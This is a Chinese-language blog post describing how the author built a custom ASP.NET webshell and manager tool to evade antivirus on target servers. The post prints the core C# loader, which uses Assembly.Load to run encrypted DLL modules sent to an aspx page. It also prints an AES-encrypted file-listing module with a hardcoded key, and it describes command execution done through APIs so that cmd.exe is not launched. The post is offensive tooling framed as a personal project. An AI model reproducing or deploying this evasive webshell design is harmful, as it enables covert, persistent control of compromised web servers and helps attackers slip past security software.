由于经常接触ASP.NET的网站应用以及经常分析相关源码,所以对C#代码有一点基础了解,并且经常使用c#实现一些小工具用于辅助自己完成日常工作。
因为目前很多目标服务器上都安装了杀软环境,导致很多公开的webshell后门上传后立马会被查杀。因为在此之前接触了C#中的assembly(程序集)类,所以当时就考虑利用该特性,编写一个属于自己简单的webshell管理端,用于绕过查杀。
Assembly
使用Assembly可以封装代码和资源,以及一些元数据的存储,可以通过assembly调用这些封装的代码和资源。如果将一个恶意的c#程序直接上传导服务器的话,大概率会被直接查杀,但是使用assembly后再进行调用的话,很多时候可以实现绕过,从而执行自己想要的操作。
实现思路
由于assembly也可以直接在aspx文件中实现,所以考虑直接设计一个aspx页面,该页面功能就是一个正常的assembly类的代码,再加上一个解密函数,从而解密传入的请求,并将请求中的程序集传入导assembly中进行调用,最后将结果进行返回。
初始参考了cs命令行模式,通过调用相关命令实现功能:
目前自定义aspx页面访问内容如下:
成功后,通过cmd命令行调用程序连接我们的shell,进而进行管理。
使用一些c#自带的接口实现,执行命令时采用api方式调用,不会直接调用cmd.exe程序。
一些实际演示效果:
ls命令:
run调用命令:
一些其他命令:
目前只实现了一些简单的文件操作和命令执行,其余功能没做,而且是基于命令方式,便捷性没有市面上的好用。
后来考虑自己写一个gui的工具集,所以就把这个工具改为了界面版本。
目前是纯form平台,美化方面没做,后续新开了一个学习项目,正在重新设计以及美化界面。
实现的核心代码如下:
public static string runAssemblyTest(byte[] dataBytes, string cname, string fname, string arg)
{
string result;
Assembly assembly = Assembly.Load(dataBytes);
Type type = assembly.GetType(cname);
MethodInfo methodInfo = type.GetMethod(fname, new[] { typeof(string) });
object instance = Activator.CreateInstance(type);
object[] parameters = new object[] { arg };
result = (string)methodInfo.Invoke(instance, parameters);
return result;
}
使用c#编译一个指定功能的dll文件,然后再将这个文件加密后传入给aspx文件,aspx文件再解密该文件,并执行相应操作后返回结果。
比如其中的一个ls功能的实现:
public static string listFileFun(string filename)
{
string result = "";
if (File.Exists(filename))
{
FileInfo fileInfo = new FileInfo(filename);
//result = File.ReadAllText(filename);
result += String.Format($"{fileInfo.LastWriteTime:MM/dd/yyyy hh:mm tt} {fileInfo.Length,13} {fileInfo.Name}") + "\n";
//result =
return encResult.aesEncode(result, "aabbccdd11223344");
//return encResult.desEncode(result, "11223344");
}
else
{
DirectoryInfo directoryInfo = new DirectoryInfo(filename);
foreach (var dir in directoryInfo.GetDirectories())
{
result += String.Format($"{dir.LastWriteTime:MM/dd/yyyy hh:mm tt} <DIR> {dir.Name}") + "\n";
}
foreach (var file in directoryInfo.GetFiles())
{
result += ($"{file.LastWriteTime:MM/dd/yyyy hh:mm tt} {file.Length,13} {file.Name}")+"\n";
}
result += String.Format("Total Files: " + directoryInfo.GetFiles().Length+", ")+"\n";
result += String.Format("Total Directories: " + directoryInfo.GetDirectories().Length)+"\n";
result += "\n";
return encResult.aesEncode(result, "xxxxxxxx");
}
}